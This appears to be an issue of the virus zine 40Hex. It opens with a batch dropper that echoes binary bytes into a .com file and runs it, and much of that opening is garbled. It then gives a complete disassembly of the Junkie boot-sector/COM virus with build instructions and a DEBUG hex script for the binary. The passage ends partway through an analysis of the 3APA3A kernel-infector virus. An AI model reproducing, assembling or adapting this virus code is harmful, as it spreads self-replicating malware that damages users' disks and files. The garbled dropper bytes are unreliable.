@echo qM<71>MGQD<51>PaOAL!G<>HG<>EA<>LF!G<>JG<>GAQAQBQCQDOGOOHP<>IBC>><3E>.com
@echo <20>LAH<>JBA<>K<EFBFBD>AA<>I<EFBFBD>CA!O<>B1OJIAAaFqEK<>A<EFBFBD>AI<>ILG<>CIqFH<>A>><3E>.com
@echo 1O<31>BIEqGJ<>IED<>LAB<>I<EFBFBD>PAHPQLQKQJQI<51>DACaMaBaI!AqGaJqCqFqD>><3E>.com
@echo A!IAEAB!PQAQD!JAAAaFaDaIaP!A<>IQAQDACABQE!B<>I<EFBFBD>PQAQD<51>N<EFBFBD>O<EFBFBD>KQIQJQK>><3E>.com
@echo <20>H<EFBFBD>NQF<51>OQDB<>J!A!A1C<31>J<EFBFBD>MAI<41>L<EFBFBD>I<EFBFBD>M!MABD<>D<EFBFBD>KANqEC<>C<EFBFBD>BL<>NqEF<>N<EFBFBD>L>><3E>.com
@echo <20>F1O<31>K!OaDaPaNNKAAaFaDaIaP!A<>I<EFBFBD>M<EFBFBD>M1C<31>AQJQA<51>H<EFBFBD>I<EFBFBD>D<EFBFBD>E<EFBFBD>L<EFBFBD>I<EFBFBD>L<EFBFBD>L1C<31>A>><3E>.com
@echo <20>L<EFBFBD>OQAQD<51>PAEAC<41>B<EFBFBD>PAEAB<41>D1O1O<31>K!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>><3E>.com
@echo !O!A<>KNKAA<41>KNKAAaEaFaM!A<>K!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>><3E>.com
@echo !O!AaBqFqEaPaFqIaFaDNKAA!F1ANK<>PqGG!O<>POGG<>M<EFBFBD>PAGG<>D<EFBFBD>M!O>><3E>.com
@echo <20>POGG<>D<EFBFBD>EAA<41>M!O<>POCG<>D!G<>DaFFAGQHOOPH<>E1P<31>J<EFBFBD>JaMA<>I>><3E>.com
@echo <20>F<EFBFBD>P<EFBFBD>M<EFBFBD>OJC<>L<EFBFBD>K<EFBFBD>JaMA<>D<EFBFBD>GQPH<>D<EFBFBD>IqDD<>J<EFBFBD>KA<>JqCANQAQDOG<>IQF<51>K>><3E>.com
@echo 1D<31>A<EFBFBD>O<EFBFBD>A!G<>FO<>EA<>M<EFBFBD>I!O1LGEGqE1AL<>AqE!M1NAIqH!H!G1LG<>CA>><3E>.com
@echo qF!A!O1LOCGqEJOP<>JOCG<>DEG!G<>HG<>EA<>LF!G<>MO<>GA<>OG>><3E>.com
@echo <20>GCHPQLQIQF<51>L<EFBFBD>M<EFBFBD>D<EFBFBD>JEqHAB<41>B<EFBFBD>K<EFBFBD>AAqF1L<31>A<EFBFBD>MCqE1M<31>A<EFBFBD>MDqF1B<31>IQC>><3E>.com
@echo <20>OQGQBQDQA<51>AB1K<31>IqFI<>JEA<>IAA<41>PqCqKQIQA<51>I!MFC<>BqIqBqEaPQB<51>D>><3E>.com
@echo <20>JF<>H<EFBFBD>J<EFBFBD>A<EFBFBD>HC<>C<EFBFBD>LQJ<51>A<EFBFBD>MB<>LQFQN!O<>P!OGGQGQBQDQA<51>IH<>O<EFBFBD>L<EFBFBD>D<EFBFBD>AB>><3E>.com
@echo 1K<31>IqFL<>JEA<>IH<>PqCAB<41>A<EFBFBD>HCQIQAQHQA<51>L<EFBFBD>L<EFBFBD>EAC<>B1MFqCC<>AF<>A>><3E>.com
@echo <20>JBqFBAI!K<>BqEL<>BI<>D<EFBFBD>A<EFBFBD>L<EFBFBD>I<EFBFBD>I<EFBFBD>D<EFBFBD>L<EFBFBD>L<EFBFBD>PQIQP<51>EA<>BJ!L<>D<EFBFBD>H<EFBFBD>O<EFBFBD>D<EFBFBD>O>><3E>.com
@echo !L<>GqEJ!NA<>O<EFBFBD>JFA<>I<EFBFBD>E<EFBFBD>OQL<51>K<EFBFBD>DQLQJQOQN<51>P<EFBFBD>AD<>P<EFBFBD>PqGG!O<>POCG>><3E>.com
@echo <20>M<EFBFBD>PAGG<>D<EFBFBD>JAC!L<>JqJED<>N1D<31>N!G<>JaNF<>E1P<31>KAJ<>I<EFBFBD>L<EFBFBD>O!G<>BAFF>><3E>.com
@echo 1DN!G!JAFF<>I<EFBFBD>M<EFBFBD>OL<>NqF<71>L!G<>JaNF<>JaMA<>KJC<>I<EFBFBD>L<EFBFBD>OGQHOH<>NC>><3E>.com
@echo F<>OAB<>P<EFBFBD>AA<>J!AA<>MQA!F<>AAAA<41>KQI!FPAEAB<41>KANqEC<>C<EFBFBD>N<EFBFBD>JGA>><3E>.com
@echo <20>KJC<>IQP<51>O<EFBFBD>L<EFBFBD>P<EFBFBD>K<EFBFBD>AA!L<>K<EFBFBD>IQF<51>O<EFBFBD>JJA<>KaMC<>IAM<41>OL<>NqF<71>HQPH<>J>><3E>.com
@echo 1MA<>KqFC<>I1N<31>O<EFBFBD>DGQHQGQAQBQCOQD1D<31>G!O<>A1OKGAqF!K<>I!AC<>N!P>><3E>.com
@echo qC!D1D<31>L!G<>KN<>IGC<>N!PqCHQLQD!G<>PqFF<>IH<>O<EFBFBD>O1DNQLqEC1D<31>GD>><3E>.com
@echo <20>O!G<>JQNFQLPQKQJQI<51>I!L<>P!G!JqFFQOQPHQN<51>P!O<>A1OKGAqEF!O<>O>><3E>.com
@echo OKG<>IC<>PqC<71>MQAQBQCQFQGQHOG<>G<EFBFBD>I!E1F<31>N!BGQD<51>H<EFBFBD>OQD<51>L<EFBFBD>CO<>I!E>><3E>.com
@echo !FOP<>K<EFBFBD>FD<>I<EFBFBD>O<EFBFBD>NP<>M<EFBFBD>MK<>AqEQL1M!OqF<71>H<EFBFBD>NN!A!A1NaCaBqFAO<41>MM!A>><3E>.com
@echo 1MqEqFAH<41>I!AC<>N!PqCAA1D<31>L!G<>KN<>IGC<>N!PqC1EQLQD!G<>LaNBL<>NqE>><3E>.com
@echo !K!G<>GAFCC!G<>LAFN!F<>A<EFBFBD>PNPA!G<>JAFN<>IqH<71>NqED<>I<EFBFBD>J<EFBFBD>O!G<>AANG>><3E>.com
@echo AA!G<>DaFFA!G<>GAFCAQLQKP<>I!E!F<>IQD<51>NHPQPQOQNQKQJQIQN<51>P<EFBFBD>IqH>><3E>.com
@echo <20>OQAQDQGOG1M<31>PqE1E<31>E!P<>N!BGP<>A1P<31>PqFD<>D<EFBFBD>DH<>BqPJACABqFP<>A>><3E>.com
@echo qPLQEqFJ<>BqPN1DNqCC<>KAHH!EP1MPqFJ<>AaHH<>A<EFBFBD>BaPN1DNHP>><3E>.com
@echo QOQLQIQN<51>P<EFBFBD>B<EFBFBD>LE<>JqFAFQGQHQB<51>OAB<>PAB<>J<EFBFBD>AB!O<>D<EFBFBD>GqFK!O<>OG<>A>><3E>.com
@echo C!O<>OG<>LFQOQPQJ<51>L!F<>IqC!DQF<51>L<EFBFBD>M<EFBFBD>A<EFBFBD>MBqE<71>I<EFBFBD>A<EFBFBD>MCqE<71>D<EFBFBD>A<EFBFBD>MaCqE<71>F>><3E>.com
@echo 1NA1NqFD<>J<EFBFBD>O<EFBFBD>O<EFBFBD>A<EFBFBD>M1PqFD<>JqJ<71>OQN<51>K>><3E>.com
@if %0. == . <20>
@<40>
@del <20>.com
@if %0. == . autoexec
@%0
@echo Beware.....PLURG!
------
40Hex Number 14 Volume 5 Issue 1 File 006
Junkie virus
The Junkie virus is an unremarkable boot sector/COM infector that
has been making the rounds recently. There isn't really that much
to say about it, except that it sports a lot of poor coding that
manages to somehow work despite its shortcomings.
Dark Angel
Phalcon/Skism
---------------------------
.model tiny
.code
.radix 16
org 0
; Junkie virus
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex #14 Vol 5 Iss 1
; Byte for byte match when assembled with TASM 2.5
; To assemble, do the following:
; tasm /m junkie.asm
; tlink junkie.obj
; exe2bin junkie.exe junkie.com
junkie: mov si,1234 ; if loading from the boot
org $ - 2 ; sector, loaded at 0:7E00
decrypt_start dw offset begin_crypt + 100
mov cx,1F4
decrypt_loop: xor word ptr es:[si],1234
org $-2
cryptval dw 0
inc si
inc si
loop decrypt_loop
begin_crypt: mov ax,cs
cmp ax,0
je in_boot
mov di,100
mov word ptr [di],1234 ; restore original first 4
org $ - 2 ; bytes to the COM file
orig4_1 dw 20CDh
mov word ptr [di+2],1234
org $ - 2
orig4_2 dw 0
push cs di ; push cs:100
call delta
delta: pop bx
sub bx,delta - junkie ; sub bx,27
mov cl,4
shr bx,cl
add ax,bx
push ax
mov ax,offset highentry
push ax
retf
in_boot: mov ds,di
pop si
sub word ptr ds:413,3 ; reserve 3K for virus
mov ax,ds:413
mov bx,40 ; convert to K
mul bx
mov es,ax ; virus segment = es
mov cx,200 ; move virus up
cld
rep movsw
cli
mov di,offset old_i13
mov si,13*4
mov ax,offset i13
call swap_int
mov es:check_i21_flag,0
mov di,offset old_i1c
mov si,1c*4
mov ax,offset i1c
call swap_int ; timer ticks
sti
mov di,offset old_i21 ; save original int 21
mov si,21*4 ; handler address
movsw
movsw
pop di ; di = 7C00
push cs di es
mov ax,offset boot_finish
push ax cs
pop es
mov si,7C00 + 200 + BS_first_word - junkie
movsw ; restore first word
db 83,0C7h,5E ; add di,5E ; restore original BS code
call copy_20
retf ; jmp to boot_finish
db 'DrW-3'
i13: cmp ax,0201 ; read?
jnz jmp_i13
db 83,0F9h,1 ; cmp cx,1 ; boot sector?
jnz jmp_i13
db 83,0FAh,0 ; cmp dx,0 ; ditto
jnz jmp_i13
push ax bx cx dx di si ds es ; pusha, in a way
call infect_disk ; if so, infect the disk
pop es ds si di dx cx bx ax ; popa, of sorts
jmp_i13: jmp dword ptr cs:old_i13
old_i13 dw 0, 0
call_i13: pushf
call dword ptr cs:old_i13
retn
highentry: call uninstall_VSAFE
push ds es
xor ax,ax
mov ds,ax
push cs
pop es
mov di,offset old_i13 ; get original int 13
mov si,13*4 ; handler address
cld
movsw
movsw
jmp short COM_finish
nop ; Why does this still happen?
boot_finish: push ds es
COM_finish: mov dl,80 ; infect the hard drive
mov ah,2
call infect_disk
pop es ds
xor ax,ax
xor bx,bx
retf ; return to carrier
infect_disk: push cs
pop ds
push cs
pop es
call disk
jc inf_disk_exit
mov di,offset buffer + 60
cmp word ptr [si],5EEBh ; check if we're already
jne not_in_boot_yet ; in the boot sector
cmp word ptr [di],0FF33 ; xor di,di
je inf_disk_exit
not_in_boot_yet:cmp dl,0 ; first disk drive?
jne hard_disk ; if not, assume hard drive
cmp byte ptr ds:[buffer+15],0F0 ; else check media byte
je little_floppy ; to see if it is a 3.5" drive
cmp byte ptr ds:[buffer+15],0F9h ; 5.25" drive?
jne inf_disk_exit
large_floppy: mov cl,8 ; sector 8
jmp short floppy_disk
nop ; more NOP's for your money
little_floppy: mov ax,40
mov ds,ax
cmp byte ptr ds:90,97 ; check disk 0 status
je large_floppy
mov cl,11 ; write to last sector
floppy_disk: push cs
pop ds
mov ch,4F ; write to last track
jmp short floppy_setup
nop ; blah
hard_disk: mov cx,4 ; write to slack area on hd
jmp short write_to_disk
nop ; #$@*
floppy_setup: mov dh,1 ; head 1
write_to_disk: mov load_cx,cx ; remember where the rest of
mov load_dx,dx ; junkie will be written to
push dx cx si di
mov di,offset BS_first_word ; save old boot sector JMP
movsw ; construct
pop si ; si -> buffer+60
call copy_20 ; save old boot sector code
mov si,di ; si -> JBS_first_word
pop di ; di -> buffer
movsw ; encode our JMP to boot sector
call add_copy_20 ; write our code there
mov ax,301h ; write new BS to the disk
push ax
call disk
pop ax cx dx
mov al,2 ; junkie is two sectors long
mov bx,offset buffer ; write it encrypted to disk
jc inf_disk_exit
mov decrypt_start,7E00 + (begin_crypt - junkie)
call encrypt
call call_i13
inf_disk_exit: retn
disk: mov cx,1
mov dh,0
mov al,1
mov bx,offset buffer ; read/write to/from our buffer
mov si,bx
push dx
call call_i13
pop dx
retn
add_copy_20: db 83,0C7h,5E ; add di,5E ; move from first word to
; our code in boot sector
copy_20: cld
mov cx,10
rep movsw
retn
swap_int: push si
movsw
movsw
pop si
mov [si],ax
mov [si+2],es
retn
encrypt: push es ds ax bx cx dx si di
cld
xor ax,ax ; get timer count
int 1Ah
xor dx,cx ; more time stuff
mov bx,dx
mov ah,2
int 1Ah
mov dl,cl ; to calculate an encryption
xor bx,dx ; value (this is overkill!)
mov cryptval,bx
push cs
pop es
mov si,offset junkie
mov di,offset buffer
mov cx,200
rep movsw ; copy virus to the buffer
mov di,offset buffer ; and encrypt there
add di,begin_crypt - junkie
mov cx,(buffer - junkie) / 2; encrypting too much!
encrypt_loop: xor [di],bx
inc di
inc di
loop encrypt_loop
popa_exit: pop di si dx cx bx ax ds es
retn
uninstall_VSAFE:push es ds ax bx cx dx si di
mov dx,5945 ; uninstall VSAFE/VWATCH
mov ax,0FA01
int 16
jmp short popa_exit
i1c: cmp cs:check_i21_flag,1
je jmp_i1c
push ds es ax si di
mov si,21*4
xor ax,ax
mov ds,ax
mov ax,ds:20*4+2 ; get segment of int 20 handler
cmp ax,800 ; is it too high?
ja i1c_exit
cmp ax,0 ; or not set yet?
je i1c_exit
cmp [si+2],ax ; is segment of int 21 handler
jne i1c_exit ; the same?
cmp ds:27*4+2,ax ; same with int 27 handler
jne i1c_exit ; i.e. make sure it's dos!
cli
mov di,offset old_i21
push cs
pop es
mov ax,offset i21
call swap_int
mov cs:check_i21_flag,1
sti
i1c_exit: pop di si ax es ds
jmp_i1c: jmp dword ptr cs:old_i1c
old_i1c dw 0FF53, 0F000
i21: cmp ax,4B00 ; infect on: execute,
jz infect_file
cmp ah,3Dh ; open,
jz infect_file
cmp ah,6C ; extended open
jz infect_file
jmp_i21: jmp dword ptr cs:old_i21
i24: mov al,3
iret
infect_file: push ax bx cx dx di si ds es
cmp ah,6Ch ; extended open?
jne ptr_is_ds_dx
mov dx,si ; now ds:ds -> filename
ptr_is_ds_dx: call uninstall_VSAFE
mov cx,ax
xor ax,ax
push ds
mov ds,ax
les ax,dword ptr ds:24*4 ; get old crit error handler
mov word ptr ds:24*4,offset i24
mov word ptr ds:24*4+2,cs ; replace with ours
pop ds
push es ax ; save the old one for later
mov ax,3D00 ; open the file read/only
pushf
call dword ptr cs:old_i21
jc infect_file_exit
push cs
pop ds
mov bx,ax
push bx
mov ax,1220
int 2F
mov ax,1216
mov bl,es:[di]
int 2F ; es:di -> sft
pop bx
jc close_exit
cmp word ptr es:[di+28h],'OC'; infect only *.CO?
je infect_COM
jmp short close_exit
nop ; Yuck!
infect_COM: push es di
mov word ptr es:[di+2],2 ; set open mode to read/write
call infect
pop di es
or byte ptr es:[di+6],40 ; preserve file time/date
close_exit: mov ah,3Eh ; close file
int 21
infect_file_exit:
xor si,si
mov ds,si
pop ax
pop es
mov ds:24*4,ax ; restore int 24 handler
mov word ptr ds:24*4+2,es
pop es ds si di dx cx bx ax
jmp jmp_i21
infect: call move_SOF
mov cx,1Dh ; reading in more than we need!
mov ah,3F
mov dx,offset com_header
int 21
jc infect_exit
call go_EOF
mov cx,10
div cx
db 83,0FAh,3 ; cmp dx,3
jz infect_exit
mov cx,[com_header] ; move first four bytes to
mov dx,[com_header+2] ; the patch area
mov orig4_1,cx
mov orig4_2,dx
call go_EOF
cmp ax,1000 ; too small?
jb infect_exit
cmp ax,0EA60 ; too large?
ja infect_exit
call round_paragraph
push ax
add ax,100 + offset begin_crypt - offset junkie
mov decrypt_start,ax
pop ax
mov byte ptr com_header,0E9h
sub ax,3
mov word ptr com_header+1,ax
mov ah,40 ; writing more than we need!
mov cx,end_junkie - junkie
mov dx,offset buffer
call encrypt
int 21
jc infect_exit
mov al,0 ; go to the start of the file
call move_SOF
mov dx,offset com_header ; patch beginning of COM file
mov cx,4
mov ah,40
int 21
infect_exit: retn
round_paragraph:mov ah,al
mov al,10
sub al,ah
and ax,0F
mov dx,ax
mov al,1
jmp short move_fpointer
nop ; MASM NOP!
go_EOF: mov al,2
move_SOF: xor dx,dx
move_fpointer: xor cx,cx
mov ah,42h
int 21
retn
old_i21 dw 0, 0
dw 0 ; unused
check_i21_flag db 1
db 0, 'Dr White - Sweden 1994'
BS_first_word dw 0
old_BS_code db 20 dup (0) ; storage for original boot
; sector code from offset
; 60 to 80
JBS_first_word dw 05EEBh
start_Jboot: xor di,di
mov si,7C00
cli
mov sp,si ; set the stack to 7C00:7C00
mov ss,di
sti
mov es,di ; es = 7C00 (junkie work seg)
mov ax,202h ; read junkie into memory
mov bx,7C00 + 200 ; starting at 0:7E00
mov cx,4
org $ - 2
load_cx dw 4
mov dx,80
org $ - 2
load_dx dw 80
push si bx ; push 0:7C00
int 13
; the next line loads at offset 7C80 - 3
jmp $+3+200-80 ; jmp to 7E00 (decryptor)
end_Jboot: ; ($ - start_Jboot = 20)
db 'Junkie Virus - Written in Malmo...M01D'
dw -1 ; unused
com_header dw 0, 0
buffer: db 1bh dup (0)
end_junkie:
end junkie
---------------------------
N junkie.com
E 0100 BE 0F 01 B9 F4 01 26 81 34 00 00 46 46 E2 F7 8C
E 0110 C8 3D 00 00 74 21 BF 00 01 C7 05 CD 20 C7 45 02
E 0120 00 00 0E 57 E8 00 00 5B 83 EB 27 B1 04 D3 EB 03
E 0130 C3 50 B8 C3 00 50 CB 8E DF 5E 83 2E 13 04 03 A1
E 0140 13 04 BB 40 00 F7 E3 8E C0 B9 00 02 FC F3 A5 FA
E 0150 BF B8 00 BE 4C 00 B8 91 00 E8 30 01 26 C6 06 60
E 0160 03 00 BF 33 02 BE 70 00 B8 EA 01 E8 1E 01 FB BF
E 0170 5A 03 BE 84 00 A5 A5 5F 0E 57 06 B8 DA 00 50 0E
E 0180 07 BE 78 81 A5 83 C7 5E E8 FA 00 CB 44 72 57 2D
E 0190 33 3D 01 02 75 1D 83 F9 01 75 18 83 FA 00 75 13
E 01A0 50 53 51 52 57 56 1E 06 E8 3F 00 07 1F 5E 5F 5A
E 01B0 59 5B 58 2E FF 2E B8 00 00 00 00 00 9C 2E FF 1E
E 01C0 B8 00 C3 E8 12 01 1E 06 33 C0 8E D8 0E 07 BF B8
E 01D0 00 BE 4C 00 FC A5 A5 EB 03 90 1E 06 B2 80 B4 02
E 01E0 E8 07 00 07 1F 33 C0 33 DB CB 0E 1F 0E 07 E8 7F
E 01F0 00 72 7C BF 48 04 81 3C EB 5E 75 06 81 3D 33 FF
E 0200 74 6D 80 FA 00 75 28 80 3E FD 03 F0 74 0C 80 3E
E 0210 FD 03 F9 75 5A B1 08 EB 0F 90 B8 40 00 8E D8 80
E 0220 3E 90 00 97 74 EF B1 11 0E 1F B5 4F EB 07 90 B9
E 0230 04 00 EB 03 90 B6 01 89 0E B0 03 89 16 B3 03 52
E 0240 51 56 57 BF 78 03 A5 5E E8 3A 00 8B F7 5F A5 E8
E 0250 30 00 B8 01 03 50 E8 17 00 58 59 5A B0 02 BB E8
E 0260 03 72 0C C7 06 01 00 0F 7E E8 2A 00 E8 4D FF C3
E 0270 B9 01 00 B6 00 B0 01 BB E8 03 8B F3 52 E8 3C FF
E 0280 5A C3 83 C7 5E FC B9 10 00 F3 A5 C3 56 A5 A5 5E
E 0290 89 04 8C 44 02 C3 06 1E 50 53 51 52 56 57 FC 33
E 02A0 C0 CD 1A 33 D1 8B DA B4 02 CD 1A 8A D1 33 DA 89
E 02B0 1E 09 00 0E 07 BE 00 00 BF E8 03 B9 00 02 F3 A5
E 02C0 BF E8 03 83 C7 0F B9 F4 01 31 1D 47 47 E2 FA 5F
E 02D0 5E 5A 59 5B 58 1F 07 C3 06 1E 50 53 51 52 56 57
E 02E0 BA 45 59 B8 01 FA CD 16 EB E5 2E 80 3E 60 03 01
E 02F0 74 3C 1E 06 50 56 57 BE 84 00 33 C0 8E D8 A1 82
E 0300 00 3D 00 08 77 23 3D 00 00 74 1E 39 44 02 75 19
E 0310 39 06 9E 00 75 13 FA BF 5A 03 0E 07 B8 37 02 E8
E 0320 6A FF 2E C6 06 60 03 01 FB 5F 5E 58 07 1F 2E FF
E 0330 2E 33 02 53 FF 00 F0 3D 00 4B 74 12 80 FC 3D 74
E 0340 0D 80 FC 6C 74 08 2E FF 2E 5A 03 B0 03 CF 50 53
E 0350 51 52 57 56 1E 06 80 FC 6C 75 02 8B D6 E8 78 FF
E 0360 8B C8 33 C0 1E 8E D8 C4 06 90 00 C7 06 90 00 4B
E 0370 02 8C 0E 92 00 1F 06 50 B8 00 3D 9C 2E FF 1E 5A
E 0380 03 72 36 0E 1F 8B D8 53 B8 20 12 CD 2F B8 16 12
E 0390 26 8A 1D CD 2F 5B 72 1D 26 81 7D 28 43 4F 74 03
E 03A0 EB 13 90 06 57 26 C7 45 02 02 00 E8 23 00 5F 07
E 03B0 26 80 4D 06 40 B4 3E CD 21 33 F6 8E DE 58 07 A3
E 03C0 90 00 8C 06 92 00 07 1F 5E 5F 5A 59 5B 58 E9 75
E 03D0 FF E8 7D 00 B9 1D 00 B4 3F BA E4 03 CD 21 72 5E
E 03E0 E8 6C 00 B9 10 00 F7 F1 83 FA 03 74 51 8B 0E E4
E 03F0 03 8B 16 E6 03 89 0E 1B 00 89 16 20 00 E8 4F 00
E 0400 3D 00 10 72 39 3D 60 EA 77 34 E8 32 00 50 05 0F
E 0410 01 A3 01 00 58 C6 06 E4 03 E9 2D 03 00 A3 E5 03
E 0420 B4 40 B9 03 04 BA E8 03 E8 6B FE CD 21 72 0F B0
E 0430 00 E8 1D 00 BA E4 03 B9 04 00 B4 40 CD 21 C3 8A
E 0440 E0 B0 10 2A C4 25 0F 00 8B D0 B0 01 EB 05 90 B0
E 0450 02 33 D2 33 C9 B4 42 CD 21 C3 00 00 00 00 00 00
E 0460 01 00 44 72 20 57 68 69 74 65 20 2D 20 53 77 65
E 0470 64 65 6E 20 31 39 39 34 00 00 00 00 00 00 00 00
E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0490 00 00 00 00 00 00 00 00 00 00 EB 5E 33 FF BE 00
E 04A0 7C FA 8B E6 8E D7 FB 8E C7 B8 02 02 BB 00 7E B9
E 04B0 04 00 BA 80 00 56 53 CD 13 E9 80 01 4A 75 6E 6B
E 04C0 69 65 20 56 69 72 75 73 20 2D 20 57 72 69 74 74
E 04D0 65 6E 20 69 6E 20 4D 61 6C 6D 6F 2E 2E 2E 4D 30
E 04E0 31 44 FF FF 00 00 00 00 00 00 00 00 00 00 00 00
E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0500 00 00 00
R CX
0403
W
Q
---------------------------
40Hex Number 14 Volume 5 Issue 1 File 007
Virus Spotlight: 3APA3A (ZARAZA)
This is a new virus which has come out of Russia. It has received a lot of
publicity in the virus and anti-virus communities due to the unusual manner
in which it infects. The following article, written by Igor G. Muttik, is a
good description of the virus. A disassembly of the virus follows this text.
Dark Angel
Phalcon/Skism '95
---------------------------------
3APA3A virus -- the first kernel infector.
==========================================
Igor G. Muttik
Low Temperature Physics Laboratory,
Physics Department,
Moscow State University, 117234, Russia
Phones: +7 095 9391147
+7 095 3396238
Email: MIG@lt.phys.msu.su
KEYWORDS
--------
Virus, kernel, boot virus, resident, boot sector, kernel infector.
ABSTRACT
--------
A new virus, which was found in Moscow in the wild is described. It
infects floppy disks as a normal boot virus. As against to normal boot
viruses, it infects DOS kernel file (IO.SYS or IBMBIO.COM, etc.) on the
hard disk. Thus, this virus can be regarded as a representative of a new
virus type - "kernel infectors". Description of the virus internals is
given. The virus structure, properties and behavior are discussed.
Details on the polymorphicity of 3APA3A are presented. Given partial
dumps may help to detect and cure the virus, but cannot be used to
reconstruct it.
INTRODUCTION
------------
This new virus appeared in Moscow (Russia). It was found in the
wild in Moscow 12-14 October 1994. The virus was named "3APA3A" (in
Russian it stands for some slang form of "INFECTION"). The message with
this string is stored (encrypted) in the body of the virus.
Size of the virus is 1024 bytes (exactly two sectors on the floppy
disk or on the hard drive). The virus is multipartite: it infects boot
sectors on the floppy disks and DOS core file (IO.SYS for MS-DOS;
IBMBIO.COM for PC-DOS; etc.). Infection of the floppies is alike many
known boot-sector viruses, but the algorithm of the hard drive infection
is unique. Therefore, the virus belongs to a new virus class, which was
named "kernel infectors". The virus does not analyze the name of DOS
core file and I shall use IO.SYS name below for simplicity (it may also
be IBMBIO.COM or any other). Once the hard drive has been infected, the
virus activates every time the computer is turned on.
On the floppy disk, the first half of the virus is stored in the
boot sector. Original floppy boot sector and the second half of the
virus are stored at the very end of the root directory of the diskette.
Thus, when infecting the floppy disk, the virus overwrites two last
sectors in its root directory.
On the hard drive the virus is at the very beginning of the DOS
core file (IO.SYS. IBMBIO.COM, etc.) -- it takes 1k.
INFECTION STRATEGY
------------------
After boot from the infected floppy disk, the virus tries to infect
the first file in the root directory of the first DOS partition (usually
it is IO.SYS file). Map of memory usage (at the moment of HDD infection)
is given in Fig.1. The virus uses segment 7C00 (not 7C0!) for its own
buffer (3.5k+sizeof(IO.SYS)). This segment value -- 7C00 corresponds to
(512k-16k). Computer memory size equal to 512k will be usually
insufficient for normal virus operation, because size of the core file
(IO.SYS/IBMBIO.COM) exceeds 16k in most modern DOS versions. Sizes of
the system files for some DOS versions are given in Fig.2. Therefore,
the virus is hardly viable on the computers without 640k.
3APA3A virus assumes that the active DOS partition has a boot
sector at CX=0001, DX=0180 (INT_13 notation: i.e., 1st HDD, head=1,
sector=1). It tries to infect only this first partition. If active boot
sector is anywhere else - 3APA3A will fail to infect hard disk properly.
The virus does not even read MBR to investigate disk partitioning.
The virus can only infect the hard drive, if the first DOS
partition is bigger than 10.6MB (i.e., if it uses 16-bit FAT; the virus
cannot infect other FAT types). That was probably done for simplicity,
because it will be more difficult to handle 12-bit FATs (or even both
FAT types). The author of the 3APA3A virus, probably, decided to make
the virus shorter. Fortunately (for him), 16-bit FATs are much more
frequent now than 12-bit and much easier to handle. Actually, the virus
checks whether total number of sectors in media (i.e., in the first
partition) is greater than 5103h or zero. Corresponding fragment of code
is given in Fig.3. The comparison with zero is really needed, because
all partitions, which have more than 65535 sectors (>32MB) carry zero in
this field (and always uses 16-bit FATs).
3APA3A virus does not check neither attributes of the first
directory entry, nor its name -- it will even "infect" a subdirectory
entry if it is located at the very first position in the root directory
of the hard disk (that is possible under DOS 5.0 or higher). When
infecting this first entry, the virus duplicates it (i.e., copies IO.SYS
file cluster chain, duplicates its directory entry and updates the FATs)
and then infects the original IO.SYS file. It also marks this duplicated
directory entry with a volume-label bit. This bit serves as an infection
marker (if it is set, 3APA3A virus decides that the hard drive is
already infected). This bit (when set) simultaneously preserves the
infected IO.SYS file from DOS file access -- all DOS file-oriented
functions AH=3Dh, 3Eh, 3Fh, 40h will skip this entry. Moreover, this
infected file will be not mentioned in the directory listing, because of
this bit. That looks like a smart non-resident type of stealth virus.
The virus reads only 5 sectors of the root directory of the first
DOS partition (others are ignored). 3APA3A virus makes a root directory
modification using two shifts (see Fig.4). The first copies entries #3-
#79 to the location of #4-#80. The second copies #1 (IO.SYS) to #3. The
first shift erases one directory entry (#80, the very last on the 5th
directory sector) and it is unrecoverably lost. If this entry was a
subdirectory -- all files in it will become inaccessible. Two shifts are
needed to guarantee that the first two entries are still IO.SYS and
MSDOS.SYS. That is done by the virus to achieve maximum compatibility
-- some old versions of DOS (prior to DOS 5.0) require IO.SYS and
MSDOS.SYS at the very beginning of the root directory and the virus
tries to follow this rule.
After directory modification we have two IO.SYS entries in the root
directory, but the first is not shown in the directory listing, because
this entry has volume-label bit set. Both mentioned directory entries
point on two copies of IO.SYS. The first IO.SYS (infected) is located in
its old place and it differs from the original in only first 1024 bytes
(now, after infection, it is a virus itself). The second IO.SYS
directory entry points on a clone of the original IO.SYS file
(uninfected), which was copied by the virus to the very end of the first
DOS partition. When copying original IO.SYS cluster-by-cluster to the
partition end, the virus checks whether there is free place on disk (it
reads last sector of FAT). Scanning this last FAT sector (it represents
256 clusters), the virus accurately skips used clusters. If there is no
more free clusters (among these 256) -- the virus will stop the entire
infection process. But if there is a place for IO.SYS copy -- it will be
created. This second IO.SYS copy at the disk end serves for two purposes
-- as a source of the original IO.SYS start (1k) and as a decoy for
scanners and integrity checkers (they will probably prefer to
scan/analyse this non-volume-labeled file).
When computer is turned on, DOS boot sector (which was not modified
by the virus in any way, as well as a master boot record MBR) runs.
There is no DOS file system yet and the program in the boot sector
"simply" reads the root directory of the hard disk and finds the first
IO.SYS entry. This entry points on the infected IO.SYS file.
Unfortunately, DOS boot record program ignores volume-label bit, unlike
DOS file system. Thus, the infected copy of the DOS core file IO.SYS is
started by DOS boot sector at each computer reboot.
When the virus gains control, it saves itself in the computer
memory (like a normal boot-sector virus) -- decreases the memory
available to DOS on 2 kilobytes (it changes the word at address
[0:413]). A reduction in DOS memory is a usual sign of presence of a
boot virus. The location of the virus in computer memory is easily
calculated. For example, for a normal 640k computer, code segment of the
virus will be 9F80. The virus intercepts only disk i/o interrupt
(INT_13). Now all accesses to the floppy disks result in their
infection. The virus infects floppy disks both in A: and B: drives.
Finally, it passes the control to the original IO.SYS.
INTERNAL VIRUS STRUCTURE
------------------------
The virus consists of two parts (sectors, 512 bytes each). These
two parts are pretty independent! The first (which is stored in the
floppy boot sector) is responsible for infection of the hard drive (it
checks for virus presence on the hard drive, copies IO.SYS to the
partition end, modifies root directory, updates all FATs, makes new
IO.SYS with the virus code (1k) at the very start, makes IO.SYS
directory entry with a volume-label bit set, and calls original floppy
boot sector. At the very end this part stores the location of the
infected IO.SYS for future use of the second virus part. The second
virus sector (IO_sector) contains trigger routine, message payload,
resident installer and INT_13 handler with "polymorphic" encryption
routine.
The first virus sector is in a boot sector of the contaminated
diskette, the second virus sector -- in the last sector of root
directory. On the hard disk this sequence is opposite -- infected IO.SYS
is started with mentioned second virus sector (IO_sector), which is
followed by a boot sector.
Therefore, first virus sector contains a program to infect hard
drive and IO_sector is simply placed into IO.SYS and not executed in any
